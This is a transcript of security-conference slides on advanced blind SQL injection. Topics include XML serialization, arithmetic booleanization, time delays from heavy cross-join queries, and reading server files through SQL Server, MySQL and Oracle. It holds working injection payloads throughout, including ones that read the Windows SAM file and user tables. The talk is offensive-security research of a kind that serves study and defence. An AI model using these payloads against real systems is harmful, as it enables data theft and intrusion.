Transcript www.shmoocon.org

(Re) Playing with (Blind) SQL
Injection
José Palazón “Palako”
Mobile Security at Yahoo!
Chema Alonso
Informatica64
Microsoft MVP Enterprise Security
Spain (…not only bulls…)
SQL Injection attacks
A long time ago, in a galaxy far, far away…
http://www.phrack.org/issues.html?id=8&issue=54
Agenda
• Serialized SQL Injection
– Demo: XML Extractor
• Arithmetic SQL Injection
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Divide by Zero
Sums and subtractions
Type oveflow
Demo
• Remote File Downloading using Blind SQL Injection
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SQL Sever
MySQL
Oracle
Demo: RFD Tool
• Time-Based Blind SQL Injection using heavy queries
– Demo: Marathon Tool
Serialized SQL Injection
Serialized SQL Injection
• Goal: To Merge complex resultsets in a single
showable field
• XML serialization functions allow to convert a
resultset into a one XML string.
• It´s possible to download big amount of data
with single and simple injections.
SQL Server
• FOR XML: Retrieves data as a single string representing an XML tree.
• RAW: Mandatory option. Shows the information converting each row of
the result set in an XML element in the form <row />.
• BINARY BASE64: The query will fail if we find any BINARY data type
column (containing images, or passwords) if this option is not explicitly
specified.
– union select '1','2','3',(select * from sysusers for xml raw, binary base64)
• XMLSCHEMA: obtains the whole table structure, including the data types,
column names and other constraints.
– Described by Dani Kachakil
MySQL
• No default XML support, requires a server side
extension
• GROUP_CONCAT (v 4.1+)
Oracle
• xmlforest, xmlelement,…
• No * support
Demo: Serialized SQL Injection
Arithmetic Blind SQL Injection
Blind Attacks
• Attacker injects code but can´t access directly to
the data.
• However this injection changes the behavior of
the web application.
• Then the attacker looks for differences between
true code injections (1=1) and false code
injections (1=2) in the response pages to extract
data.
– Blind SQL Injection
– Biind Xpath Injection
– Blind LDAP Injection
Blind SQL Injection Attacks
• Attacker injects:
– “True where clauses”
– “False where clauses“
– Ex:
• Program.php?id=1 and 1=1
• Program.php?id=1 and 1=2
• Program doesn’t return any visible data from
database or data in error messages.
• The attacker can´t see any data extracted from
the database.
Blind SQL Injection Attacks
• Attacker analyzes the response pages looking
for differences between “True-Answer Page”
and “False-Answer Page”:
– Different hashes
– Different html structure
– Different patterns (keywords)
– Different linear ASCII sums
– “Different behavior”
• By example: Response Time
Blind SQL Injection Attacks
• If any difference exists, then:
– Attacker can extract all information from database
– How? Using “booleanization”
• MySQL:
– Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))
» “True-Answer Page” or “False-Answer Page”?
• MSSQL:
– Program.php?id=1 and 100>(Select top 1
ASCII(Substring(name,1,1))) from sysusers)
• Oracle:
– Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1)))
from all_users where rownum<=1)
Arithmetic Blind SQL Injection
• The query force the parameter to be numeric
– SELECT field FROM table WHERE id=abs(param)
• Boolean logic is created with math operations
– Divide by zero
– Sums and subtractions
– Type overflows
Arithmetic Blind SQL Injection
• Divide by zero (David Litchfield)
– Id=A+(1/(ASCII(B)-C))
•A-> Param value originally used in the query.
•B -> Value we are searching for, e.g.: Substring(passwd,1,1)
•C-> Counter [0..255]
– When ASCII(B)=C, the DB will generate a divide by
zero exception.
Arithmetic Blind SQL Injection
• Sums and subtractions
– Id=A+ASCII(B)-C
•A-> Param value originally used in the query.
•B -> Value we are searching for, e.g.: Substring(passwd,1,1)
•C-> Counter [0..255]
– When ASCII(B)=C, then the response page of
id=A+ASCII(B)-C will be the same as id=A
Arithmetic Blind SQL Injection
• Value type overflow
– Id=A+((C/ASCII(B))*(K))
•A-> Param value originally used in the query.
•B -> Value we are searching for, e.g.: Substring(passwd,1,1)
•C-> Counter [0..255]
•K-> Value that overflows the type defined for A
–(e.g. if A is integer, then K=2^32)
– When C/ASCII(B)==1, K*1 overflows the data type
Demo:
• Divide by zero
• Sums and subtractions
• Integer overflow
Remote File Downloading using
Blind SQL Injection techniques
Accessing Files
• Two ways:
– Load the file in a temp table
• and i>(select top 1 ASCII(Substring(column)(file,pos,1))
from temp_table ??
– Load the file in the query
• With every query the file is loaded in memory
• I am very sorry, engine 
• and i>ASCII(Substring(load_file(file,pos,1))??
SQL Server 2K - External Data Sources
• Only for known filetypes:
– Access trough Drivers: Txt, csv, xls, mdb, log
– And 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver
= {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\;','select top 1 * from
c:\dir\target.txt’),1,1))
• Privileges
– HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\Disall
owAdhocAccess=0
– By default this key doesn´t exist so only users with Server Admin Role can use
these functions.
• NTFS permissions
SQL Server 2K – Bulk option
• Access to any file
– ; Create Table TempTable as (row varchar(8000)) -– ; Bulk Insert TempTable From 'c:\file.ext' With (FIELDTERMINATOR =
'\n', ROWTERMINATOR = '\n‘) -– ; alter table TempTable add num int IDENTITY(1,1) NOT NULL –
– and (select COUNT(row) from TempTable)
– and (select top 1 len(row) from TempTable where num = rownum)
– and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where
num = 1)
– ; Drop Table TempTable--
• Privileges needed
– Server Role: Bulkadmin
– Database Role: db_owner o db_ddladmin
• NTFS permissions
SQL Server 2k5 – 2k8
• OPENDATASOURCE and OPENROWSET supported
• Bulk options improved
– AND 256 > ASCII(SUBSTRING ((SELECT * FROM
OPENROWSET(BULK 'c:\windows\repair\sam',
SINGLE_BLOB) As Data), 1, 1))—
• Permisions
• Bulkadmin Server Role
• External Data Sources enabled
• Sp_configure
• Surface configuration Tool for features
MySQL
• LoadFile
– SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
• SQLbfTools: MySQLget command (illo and dab)
• http://www.reversing.org/node/view/11
• Load Data infile
– ; Create table C8DFC643 (datos varchar(4000))
– ; Load data infile 'c:\\boot.ini' into table C8DFC643
– ; alter table C8DFC643 add column num integer auto_increment
unique key
– and (select count(num) from C8DFC643)
– and (select length(datos) from C8DFC643 where num = 1)
– and (select ASCII(substring(datos,5,1)) from C8DFC643 where num = 1)
– ; Drop table C8DFC643
Oracle – Plain Text files
• External Tables
– ; execute immediate 'Create Directory A4A9308C
As ''c:\'' '; end; -– ; execute immediate 'Create table A737D141 (
datos varchar2(4000) ) organization external (TYPE
ORACLE_LOADER default directory A4A9308C
access parameters ( records delimited by newline )
location (''boot.ini''))'; end;-– Only Plain Text files
Oracle – DBMS_LOB
; execute immediate ‘
DECLARE l_bfile BFILE;
l_blob BLOB;
BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN
datos INTO l_blob;
l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp'');
DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);
DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile));
DBMS_LOB.fileclose(l_bfile);
COMMIT;
EXCEPTION
WHEN OTHERS THEN ROLLBACK;
END;‘
; end; --
Demo RFD
Time-based Blind SQL Injection
using heavy queries
Time-Based Blind SQL Injection
• In scenarios with no differences between “TrueAnswer Page” and “False-Answer Page”, time
delays can be used.
• Injection forces a delay in the response page
when the condition injected is True.
- Delay functions:
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SQL Server: waitfor
Oracle: dbms_lock.sleep
MySQL: sleep or Benchmark Function
Postgres: pg_sleep
– Ex:
• ; if (exists(select * from users)) waitfor delay '0:0:5’
Exploit for Solar Empire Web Game
Deep Blind SQL Injection
• Time delay depends on the wanted value.
• E.g. “a”->10s. delay, “b”->11s. Delay, …
• http://labs.portcullis.co.uk/application/deep-blindsql-injection/
Time-Based Blind SQL Injection
• What about databases engines without delay
functions, i.e., MS Access, Oracle connection
without PL/SQL support, DB2, etc…?
• Can we still perform an exploitation of TimeBased Blind SQL Injection Attacks?
Yes, we can!
“Where-Clause” execution order
Select “whatever “
From whatever
Where condition1 and condition2
- Condition1 lasts 10 seconds
- Condition2 lasts 100 seconds
Which condition should be executed first?
The heavy condition first
Condition2 (100 sec)
Condition1 (10 sec)
Condition2 & condition1
Response Time
TRUE
FALSE
FALSE
110 sec
TRUE
TRUE
TRUE
110 sec
FALSE
Not evaluated
FALSE
100 sec
The light condition first
Condition1 (10 sec)
Condition2 (100 sec)
Condition1 & condition2
Response Time
TRUE
FALSE
FALSE
110 sec
TRUE
TRUE
TRUE
110 sec
FALSE
Not evaluated
FALSE
10 sec
Time-Based Blind SQL Injection
using Heavy Queries
• Attacker can perform an exploitation delaying
the “True-answer page” using a heavy query.
• It depends on how the database engine
evaluates the where clauses in the query.
• There are two types of database engines:
– Databases without optimization process
– Databases with optimization process
Time-Based Blind SQL Injection
using Heavy Queries
• Attacker could inject a heavy Cross-Join condition for
delaying the response page in True-Injections.
• The Cross-join injection must be heavier than the other
condition.
• Attacker only have to know or to guess the name of a
table with select permission in the database.
• Example in MSSQL:
– Program.php?id=1 and (SELECT count(*) FROM sysusers AS
sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4,
sysusers AS sys5, sysusers AS sys6, sysusers AS sys7,
sysusers AS sys8)>1 and 300>(select top 1
ascii(substring(name,1,1)) from sysusers)
“Default” tables to construct a heavy
query
– Microsoft SQL Server
• sysusers
– Oracle
• all_users
– MySQL (versión 5)
• information_schema.columns
– Microsoft Access
• MSysAccessObjects (97 & 2000 versions)
• MSysAccessStorage (2003 & 2007)
41
“Default” tables to construct a heavy
query
• …or whatever you can guess
– Clients
– Customers
– News
– Logins
– Users
– Providers
– ….Use your imagination…
Ex 1: MS SQL Server
Query lasts 14 seconds -> True-Answer
Ex 1: MS SQL Server
• Query lasts 1 second -> False-Answer
Ex 2: Oracle
Query Lasts 22 seconds –> True-Answer
Ex 2: Oracle
Query Lasts 1 second –> False-Answer
Ex 3: Access 2000
Query Lasts 6 seconds –> True-Answer
Ex 3: Access 2000
Query Lasts 1 second –> False-Answer
Ex 4: Access 2007
Query Lasts 39 seconds –> True-Answer
Ex 4: Access 2007
Query Lasts 1 second –> False-Answer
Marathon Tool
• Automates Time-Based Blind SQL Injection
Attacks using Heavy Queries in SQL Server,
MySQL, MS Access and Oracle Databases.
• Schema Extraction from known databases
• Extract data using heavy queries not matter in
which database engine (without schema)
• Developed in .NET
• Source code available
Demo: Marathon Tool
Prevention:
Don´t forget Bobby Tables!
SANITIZE YOUR QUERIES!
¿Preguntas?
• Speakers:
– Chema Alonso ([email protected])
– Palako ([email protected])
• Autores
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–
–
–
–
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Chema Alonso ([email protected])
Alejandro Martín ([email protected])
Antonio Guzmán ([email protected])
Daniel Kachakil ([email protected])
José Palazón “Palako” ([email protected])
Marta Beltran ([email protected])